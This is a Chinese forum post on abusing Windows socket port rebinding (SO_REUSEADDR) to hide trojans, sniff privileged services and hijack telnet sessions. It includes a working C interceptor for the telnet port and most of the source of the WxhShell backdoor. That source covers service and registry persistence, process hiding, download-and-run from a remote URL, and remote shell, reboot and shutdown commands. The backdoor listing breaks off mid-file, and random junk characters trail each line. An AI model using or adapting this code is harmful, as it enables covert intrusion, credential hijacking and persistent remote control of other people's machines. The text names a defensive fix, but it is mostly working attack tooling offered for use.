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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8%9 C<+.R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 17s~mqy  
1@|+l!rYF  
  saddr.sin_family = AF_INET; j .q}OK  
AQ'%}(#0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I){4MoH.  
,Pa*; o\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J'%i?cuV  
O <Rh[Aqn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *5feB#  
yD3}USw  
  这意味着什么?意味着可以进行如下的攻击: U ]<l-~|  
` g]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G=:/v  
yNvAT>H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sT)>Vdwf_  
EOB8|:*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b > D  
/s4~Ij`be  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %B$ftsYXmu  
\|,| )  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yx]9rD1cz  
:c/54Ss~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 & P-8_I  
/*#o1W?wQZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;5tOQ&p%v  
:{%[6lE^G  
  #include hE&6;3">  
  #include es)^^kGj6f  
  #include ` s7pM  
  #include    r07u6OA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xz^nm\  
  int main() ^^b'tP1>  
  { .a@12J(I  
  WORD wVersionRequested; %YR&>j k  
  DWORD ret; -EiTP:A  
  WSADATA wsaData; J p?XV<3Z  
  BOOL val; IJ Jp5[w  
  SOCKADDR_IN saddr; E{\CE1*  
  SOCKADDR_IN scaddr; cB uuq  
  int err; r!Eh}0bL  
  SOCKET s; mh3S?Uc  
  SOCKET sc; ZO<,V  
  int caddsize; F vkyp"W3  
  HANDLE mt; S`kOtZ_N n  
  DWORD tid;   =|?`5!A  
  wVersionRequested = MAKEWORD( 2, 2 ); P73GH  
  err = WSAStartup( wVersionRequested, &wsaData ); qX@e+&4P0  
  if ( err != 0 ) { /PwiZ A3sA  
  printf("error!WSAStartup failed!\n"); a}y b~:TC  
  return -1; e0P[,e*0  
  } q/b+V)V  
  saddr.sin_family = AF_INET; 5 bI :xL}  
   So 1TH%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aj5HtP-  
'gf[Wjb,%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g#$ C8k  
  saddr.sin_port = htons(23); (h0@;@@7hW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a`' >VCg  
  { ozRO:*51  
  printf("error!socket failed!\n"); |]< 3cW+  
  return -1; ~[Tcl  
  } D kWp  
  val = TRUE; J+P<zC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8B G Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }B-$}  
  { 30sJ"hF9  
  printf("error!setsockopt failed!\n"); 0"R>:f}  
  return -1; DsMo_m/"1  
  } H7+"BWc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nqy*>X`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M_E,pg=rWI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3'z$@ ;Ev+  
ogFo/TKM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &Sd5]r@+  
  { ia5%  
  ret=GetLastError(); vqeH<$WHvy  
  printf("error!bind failed!\n"); XM:BMd|  
  return -1; "L~Oj&AN[  
  } uY5|Nmiu  
  listen(s,2); )V1xL_hx/  
  while(1) !)]/?&uo  
  { n#P>E( K  
  caddsize = sizeof(scaddr); pbx*Y`v  
  //接受连接请求 63 oe0T&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =2 HY]H  
  if(sc!=INVALID_SOCKET) ,?8a3%  
  { TQ(q [:>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IH`Q=Pj  
  if(mt==NULL) FDl/7P`b(  
  { C'I&<  
  printf("Thread Creat Failed!\n"); Ge2Klyi  
  break; 0S5xmEzop  
  } N?qETp-:  
  } 2_w pj;E  
  CloseHandle(mt); *HD(\;i-$  
  } +Csb8  
  closesocket(s); JQKXbsXS  
  WSACleanup(); *ak0(yLn)  
  return 0; T ~xVHk1  
  }   (u 7Lh>6%  
  DWORD WINAPI ClientThread(LPVOID lpParam) a[K&;)  
  {  qra XAQ  
  SOCKET ss = (SOCKET)lpParam; 8w:ay,=  
  SOCKET sc; Tr?p/9.m  
  unsigned char buf[4096]; D|zuj]  
  SOCKADDR_IN saddr; {"'M2w:|D1  
  long num; @}q, ';H7  
  DWORD val; g@'XmT="_  
  DWORD ret; 0cmd +`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nr*l3Z>LD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &| (K#|^@  
  saddr.sin_family = AF_INET; p6j-8ggL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;T^s&/>E  
  saddr.sin_port = htons(23); !}6'vq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gfggL&t(  
  { w%\ nXJ  
  printf("error!socket failed!\n"); I">">  
  return -1; .!4'Y}  
  } EGD{nE  
  val = 100; bD,21,*z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tt~4'{Bc  
  { yP]>eLTSd  
  ret = GetLastError(); E{V?[HcWq  
  return -1; :P-H8*n""  
  } &0T.o,&y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x@Gg fH<l  
  { q_[y|ETJ]  
  ret = GetLastError(); ]+e zg(C}  
  return -1; ft/k-64  
  } \IQG%L{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I;@q`Tm  
  { tpS gbGzp  
  printf("error!socket connect failed!\n"); GSRf/::I}4  
  closesocket(sc); !PIg ,  
  closesocket(ss); q;9X8 _  
  return -1; p.:|Z-W$  
  } &W>\Vl1  
  while(1) f hK<P_}  
  { .M:&Aj)x16  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  (7X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QI[WXx p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |r+ x/,2-  
  num = recv(ss,buf,4096,0); fExFpR,`  
  if(num>0) &~eCDlX /  
  send(sc,buf,num,0); 7NJl+*u  
  else if(num==0) ll5;09  
  break; \8#[AD*@s2  
  num = recv(sc,buf,4096,0); JcRxNH )<"  
  if(num>0) >4ex5  
  send(ss,buf,num,0); {U-z(0  
  else if(num==0) -+){;,  
  break; /cClV"S*G  
  } T4W20dxL7  
  closesocket(ss); B\ 'rxbH  
  closesocket(sc); h_ t`)]-  
  return 0 ; (g;O,`|c,  
  } -|'@ :cIZ  
-Jd7  
7B0`.E^~  
========================================================== 3\Amj}RJ  
1R_@C.I  
下边附上一个代码,,WXhSHELL J-+mdA  
Q7u|^Gu,5  
========================================================== 2+ u+9rW  
\X %#-y  
#include "stdafx.h" < R"Y^]P=  
MVM Jl">  
#include <stdio.h> !43nL[]  
#include <string.h> $-DW+|p.?^  
#include <windows.h> A23K!a2u&  
#include <winsock2.h> yuC"V'  
#include <winsvc.h> `/1rZ#  
#include <urlmon.h> <nJGJ5JJ  
QH><! sa  
#pragma comment (lib, "Ws2_32.lib") dZ" }wKbO  
#pragma comment (lib, "urlmon.lib") =0&XdxX  
H.?`90IQ  
#define MAX_USER   100 // 最大客户端连接数 z~Zm1tZs  
#define BUF_SOCK   200 // sock buffer |j"C52Q  
#define KEY_BUFF   255 // 输入 buffer c2V_|oL  
)Fd)YJVR  
#define REBOOT     0   // 重启 ]pNM~,  
#define SHUTDOWN   1   // 关机 ;PVE= z+y  
XSx!11  
#define DEF_PORT   5000 // 监听端口 1<h@ ^s;  
~~Cd9Hzi  
#define REG_LEN     16   // 注册表键长度 +Q"s!\5  
#define SVC_LEN     80   // NT服务名长度 fV9+FOZn  
2KXF XR  
// 从dll定义API C=;}7g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bLl ?!G.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /E/6(c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]l }v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Uh/(q7  
8;~,jZ s  
// wxhshell配置信息 @/aJi6d"^E  
struct WSCFG { MuO(%.H  
  int ws_port;         // 监听端口 j^/<:e c.  
  char ws_passstr[REG_LEN]; // 口令 N]8/l:@  
  int ws_autoins;       // 安装标记, 1=yes 0=no v+E J $  
  char ws_regname[REG_LEN]; // 注册表键名 -DGuaUU  
  char ws_svcname[REG_LEN]; // 服务名 gs}&a3d7k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?b d&Av  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #U'}g *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H^*[TX=#[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CWZv/>,%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z3zD4-p$_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !]"M]tyv\  
ZLaht(`+  
}; 6k')12~'  
hJFxT8B/  
// default Wxhshell configuration kK/>,Eg  
struct WSCFG wscfg={DEF_PORT, r *N@%T  
    "xuhuanlingzhe", 6I~M8Lo ;  
    1, NWwKp?  
    "Wxhshell", ^Gbcs l~Gj  
    "Wxhshell", 9XUYy2{G  
            "WxhShell Service", rU>l(O'b  
    "Wrsky Windows CmdShell Service", xxGQXW  
    "Please Input Your Password: ", E0i!|H  
  1, EP4?+"Z  
  "http://www.wrsky.com/wxhshell.exe", g:^Hex?Yfd  
  "Wxhshell.exe" &iuMB0rbu  
    }; R8.@5g_  
c~M'O26bW  
// 消息定义模块 Y}}1]}VIK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ER`;0#3[9u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H(?+-72KX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (eT9N_W  
char *msg_ws_ext="\n\rExit."; 5!i\S[:  
char *msg_ws_end="\n\rQuit."; =f=>buD  
char *msg_ws_boot="\n\rReboot..."; 4D.h~X4  
char *msg_ws_poff="\n\rShutdown..."; ,~=+]9t  
char *msg_ws_down="\n\rSave to "; ZdhA:}~^E  
QeQwmI  
char *msg_ws_err="\n\rErr!"; uf )!SxT  
char *msg_ws_ok="\n\rOK!"; j0cB#M44  
+IGSOWL  
char ExeFile[MAX_PATH]; s z7<u|  
int nUser = 0; KVC18"|f  
HANDLE handles[MAX_USER]; aB&a#^5CI  
int OsIsNt; gW G>}M@  
N+UBXhh  
SERVICE_STATUS       serviceStatus; oj6=.   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )CH\]>-FO  
ckdCd J  
// 函数声明 dpdp0  
int Install(void); j%S} T)pX  
int Uninstall(void); mg3YKHNG  
int DownloadFile(char *sURL, SOCKET wsh); ZV/g_i #  
int Boot(int flag); 9-Qu5L~  
void HideProc(void); H8Ra!FW@  
int GetOsVer(void); )\e0L/K@  
int Wxhshell(SOCKET wsl); 9j5k=IXg#a  
void TalkWithClient(void *cs); O8*yho  
int CmdShell(SOCKET sock); 1OFrxSg  
int StartFromService(void); z4[ 8*}  
int StartWxhshell(LPSTR lpCmdLine); -<\hcV`&  
K?S5C8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /u'V>=D;f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 #jpA.;  
cW{Bsr   
// 数据结构和表定义 sVS),9\}  
SERVICE_TABLE_ENTRY DispatchTable[] = a{I(Qh!}  
{ `cmzmQC  
{wscfg.ws_svcname, NTServiceMain}, s|Vbc@t  
{NULL, NULL} wx/*un%2  
}; aH$DEs  
e&pt[W}X%u  
// 自我安装 HvG~bZN  
int Install(void) ,7Q b24A  
{ {tXyz[;i1}  
  char svExeFile[MAX_PATH]; Wh?3vZ^  
  HKEY key; X5)].[d  
  strcpy(svExeFile,ExeFile); yEL5U{  
@vi;P ^1!  
// 如果是win9x系统,修改注册表设为自启动 t] G hONN  
if(!OsIsNt) { bmRp)CYd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XJ1<!tl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U)S!@ 2(4  
  RegCloseKey(key); > 8!9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Ehe8,=fj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dEoW8 M#  
  RegCloseKey(key); ' '|R$9\@  
  return 0; r[&/* ~xL  
    } =W'{xG}  
  } y(6*)~Dh  
} h"$], =  
else { enQev?8%  
ESY\!X:|  
// 如果是NT以上系统,安装为系统服务 U'xmn$ O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z=144n 1  
if (schSCManager!=0) D0p>Q^w  
{ C1(0jUz  
  SC_HANDLE schService = CreateService J+nUxF;EE  
  ( V%w]HIhq  
  schSCManager, x)2ZbIDB:"  
  wscfg.ws_svcname, 3B ;aoejHm  
  wscfg.ws_svcdisp, sTzt  
  SERVICE_ALL_ACCESS, ";/,FUJJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k 3 oR:  
  SERVICE_AUTO_START, ;LFs.Jc<  
  SERVICE_ERROR_NORMAL, yex0rnQ|  
  svExeFile, >KCnmi  
  NULL, FJ V!B&  
  NULL, }woNI  
  NULL, .5YW >PV  
  NULL, ujoJ6UOG  
  NULL F@@6D0\X?  
  ); @O&;%IZMY  
  if (schService!=0) 2u^/yl  
  { ;fKFmY41  
  CloseServiceHandle(schService); /: }"Zb  
  CloseServiceHandle(schSCManager); ~`CWpc:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4wx _@8  
  strcat(svExeFile,wscfg.ws_svcname); k9o LJ<.k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e_t""h4D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); af;~<o a  
  RegCloseKey(key); 8s<t* pI2  
  return 0; QR{pph*zn-  
    } p V`)  
  } ood,k{  
  CloseServiceHandle(schSCManager); 2mPU /  
} ^yVKW5x  
} +FlO_=Bu  
-@G,Ry-\t  
return 1; S5xum_Dq  
} !:<n]-U  
P4dhP-t  
// 自我卸载 + Awo\;@,  
int Uninstall(void) ~&T%u.u 7  
{ kmF@u@5M  
  HKEY key; >_LZD4v! <  
r2xIbZ  
if(!OsIsNt) { l]__!X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u+,  
  RegDeleteValue(key,wscfg.ws_regname); z+qrsT/?L  
  RegCloseKey(key); _(J/$D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )2y# cM*  
  RegDeleteValue(key,wscfg.ws_regname); v?qU/  
  RegCloseKey(key); Pa\"l'!>^  
  return 0; VF] ~J=>i  
  } u(g0Ob  
} t73" d#+  
} =?gDM[t^  
else { B|6_4ry0U  
Q\[2BJo/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3!0~/8!f@  
if (schSCManager!=0) e?)ic\K  
{ vSG$ 2g=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f" g-Hbl5  
  if (schService!=0) t7qY!S (  
  { 8UN7(J  
  if(DeleteService(schService)!=0) { I`FqZw  
  CloseServiceHandle(schService); QcG-/_,'}  
  CloseServiceHandle(schSCManager); }2~$"L,_  
  return 0; 7C@%1kL  
  } "3X~BdH&J  
  CloseServiceHandle(schService); KO5! (vi@  
  } 3zuYN-;  
  CloseServiceHandle(schSCManager); jK9#. 0  
} a!H t81gj  
} 7,&M6<~  
{ x/~gp  
return 1; ;7w4BJcq']  
} cfA)Ui  
0L|D1_k[  
// 从指定url下载文件 QFX )Nov];  
int DownloadFile(char *sURL, SOCKET wsh) E|l qlS7  
{ S"G`j!m1  
  HRESULT hr; s\A4y "  
char seps[]= "/"; |?/,ED+|>D  
char *token; brt1Kvu8(  
char *file; nH7i)!cI~  
char myURL[MAX_PATH]; BEnIyVU;L  
char myFILE[MAX_PATH]; k9vzxZ%s:  
m6^n8%  
strcpy(myURL,sURL); <maY S2  
  token=strtok(myURL,seps); @fO[{V  
  while(token!=NULL) l.`f^K=8  
  { kcN#g- 0  
    file=token; v3/l= e?u  
  token=strtok(NULL,seps); TG@ W:>N(  
  } 2UJjYrm  
)7}f .  
GetCurrentDirectory(MAX_PATH,myFILE); Y$&+2w,)H,  
strcat(myFILE, "\\"); RDWUy (iX  
strcat(myFILE, file); ]'!$T72  
  send(wsh,myFILE,strlen(myFILE),0); 1O@ D  
send(wsh,"...",3,0); 6A,-?W'\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TZYz`l+v  
  if(hr==S_OK) l0-zu6i w  
return 0; mel(C1b"j/  
else t2 0Es  
return 1; $K}Y  
%AnqT|\#,  
} 1aBQ.-E-  
"[t b-$ER  
// 系统电源模块 &D*22R4{CX  
int Boot(int flag) ZI/Ia$O  
{ 0\2#(^  
  HANDLE hToken; T5b*Ia  
  TOKEN_PRIVILEGES tkp; /Dk`vn2eN  
1<TB{}b Z  
  if(OsIsNt) { /<-@8CC<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @dx$&;w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C])b 3tM,7  
    tkp.PrivilegeCount = 1; \1R<GBC4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z6>Rv9f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dj(!i1eQNZ  
if(flag==REBOOT) { t0-)\kXcA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k;c>=B)e  
  return 0; ^I]A@YNni  
} eUeOyC  
else { N^;rLrm*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " }oH3L  
  return 0; (f `zd.  
} {]V+C=`  
  } k2Y *  
  else { S"skKh4w  
if(flag==REBOOT) { w9Z,3J6r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FvVR \a  
  return 0; N~t4qlC/  
} w_h}c$;GK  
else { CPt62j8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1b4/  
  return 0; $zv&MD!&h  
} nTQ&nu!  
} 0AWOdd>.  
R-lpsvDDL2  
return 1; vn Ol-`Z ~  
} WO]9\"|y  
AaX][2y8  
// win9x进程隐藏模块 )o%sN'U,1  
void HideProc(void) Lk>o`<*  
{ ~"8D]  
|';oIYs|$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (dgBI}Za  
  if ( hKernel != NULL ) 2=V~n)'a  
  { $$f89, h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5eJMu=UpR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 09L"~:rg  
    FreeLibrary(hKernel); yZcnky  
  } lZ>j:/R8^&  
ngI3.v/R  
return; cypb 6Q_  
} S2,tv  
-gK*&n~  
// 获取操作系统版本 vn5O8sD  
int GetOsVer(void) odaCKhdk  
{ L2<IG)oXU  
  OSVERSIONINFO winfo; <2,NWn.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :N>n1tHL;A  
  GetVersionEx(&winfo); FBGe s[,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k=M_2T'  
  return 1; QuWW a|g^.  
  else R?L? 6~/q  
  return 0; 7+;$_,Xo<  
} fjP(r+[  
Y~"5HP|  
// 客户端句柄模块 %(YU*Tf~  
int Wxhshell(SOCKET wsl) c3]`W7E6L  
{ xixdv{M<FF  
  SOCKET wsh; &V77Wn OY  
  struct sockaddr_in client; YQ$EN>.eO  
  DWORD myID; _CImf1  
vzH"O=  
  while(nUser<MAX_USER) <TQ,7M4X  
{ b<E+5;u  
  int nSize=sizeof(client); J@lQzRqRb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "eG@F  
  if(wsh==INVALID_SOCKET) return 1; 0Q4i<4 XW  
7Adg;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U6x$R O!  
if(handles[nUser]==0) hy|Yy&-  
  closesocket(wsh); Lh;U2pA  
else \h48]ZjC`  
  nUser++; tB)nQw7  
  } Xdl7'~k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y)*W!]:7^>  
u0{R;)  
  return 0; z`esst\aV  
} rJKac"{  
*VV#o/Q p  
// 关闭 socket Ouos f1  
void CloseIt(SOCKET wsh) #ni:Bwtl{  
{ +Z=%4  
closesocket(wsh); + J` Qv,0  
nUser--; (\M#Ay t)  
ExitThread(0); Mfinh@K,  
} J5"d|i  
< 19A=  
// 客户端请求句柄 _MLbJ  
void TalkWithClient(void *cs) k(ho?  
{ ?R":"*eu  
)\RG NJMC  
  SOCKET wsh=(SOCKET)cs; .Q5zmaA]  
  char pwd[SVC_LEN]; )j\9IdkU;y  
  char cmd[KEY_BUFF]; T-a [  
char chr[1]; XmAu n  
int i,j; h-+vN hH  
?d' vIpzO!  
  while (nUser < MAX_USER) { U+-R2w]#q_  
E]dc4US  
if(wscfg.ws_passstr) { qe2@bG%2+F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /CXQ&nwY9=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <IO@Qj1*  
  //ZeroMemory(pwd,KEY_BUFF); \]|(w*C  
      i=0; 0`KR8# A@  
  while(i<SVC_LEN) { )o`[wq  
~i UG24v  
  // 设置超时 UZRN4tru6  
  fd_set FdRead; 3-v&ktD&N'  
  struct timeval TimeOut; d J.up*aR  
  FD_ZERO(&FdRead); P{+,?X\  
  FD_SET(wsh,&FdRead);  WJTc/  
  TimeOut.tv_sec=8; 8DGPA  
  TimeOut.tv_usec=0; 4QBPN@~t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Wk9"?+1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'y&DOy/|  
YkF52_^_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rrw6\iO  
  pwd=chr[0]; 8DkZ @}  
  if(chr[0]==0xd || chr[0]==0xa) { o3cE.YUF  
  pwd=0; PS$g *x  
  break; 0iI|eE o  
  } tSVU,m  
  i++; !QlCt>{  
    } 9Ecc~'f  
'OI(MuSn  
  // 如果是非法用户,关闭 socket UK5u"@T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vy7 )_D  
} 45Lzq6  
}6"l`$=Ev  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FBeo@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nnq r{ub  
_%KRZx}  
while(1) { _sAcvKH  
p]rV\,Yss  
  ZeroMemory(cmd,KEY_BUFF); {sW>J0  
I<qG{PA  
      // 自动支持客户端 telnet标准   6 \}.l  
  j=0; ${{[g16X  
  while(j<KEY_BUFF) { }CM#jN?(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BVG.ZZR})  
  cmd[j]=chr[0]; 2(k m]H^  
  if(chr[0]==0xa || chr[0]==0xd) { I#/"6%e  
  cmd[j]=0; q{l %k  
  break; 2 $Umqt  
  } *X uIA-9  
  j++; 3,0b<vfSv  
    } MDCwgNPiQW  
d)kOW!5\  
  // 下载文件 ^B$cfs@*  
  if(strstr(cmd,"http://")) { M^{=&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n(#[[k9&Ic  
  if(DownloadFile(cmd,wsh)) 49=L9:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >02p,W6S>  
  else yp]z@SYA@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"K(nKXO_?  
  } g>QN9v})  
  else { w[g`)8Ib  
e)$a;6  
    switch(cmd[0]) { _wUg+Xs]  
  4+:'$Nw  
  // 帮助 i,2eoM)FB  
  case '?': { 3LZvlcLb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9B/iQCFtj$  
    break; -s^)HR l  
  } d%:J-UtG"  
  // 安装 Y/T-2)D  
  case 'i': { @<koL  
    if(Install()) hE7rnn{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^iT &;,  
    else yCwe:58  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+$E*}  
    break; jB,VlL  
    } _k#!^AJ}x  
  // 卸载 K"zRj L+  
  case 'r': { gF:| j(  
    if(Uninstall()) qq"0X! w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1\mLI}@  
    else 0|ekwTx.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {E.A?yej9  
    break; '4}8WYKQ  
    } +1^L35\@  
  // 显示 wxhshell 所在路径 y?Pw6;e.  
  case 'p': { {a ]u  
    char svExeFile[MAX_PATH]; O7m-_#/\   
    strcpy(svExeFile,"\n\r"); =R)w=ce  
      strcat(svExeFile,ExeFile); 8?ip,Q\  
        send(wsh,svExeFile,strlen(svExeFile),0); 9\uBX.]x  
    break; [#%@,C  
    } Sa@T#%oU  
  // 重启 I~4!8W-Y  
  case 'b': { ?kS#g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `A<2wd;  
    if(Boot(REBOOT)) K{:[0oIHc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LTuT"}dT[  
    else { % CQv&d2  
    closesocket(wsh);  r}}2 Kl  
    ExitThread(0); !6hV|2aJy  
    } & jm1  
    break; mV+9*or  
    } :i|Bz6Ht4  
  // 关机 v8zOY#?  
  case 'd': { #e1iYFgS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 39L_O RMH  
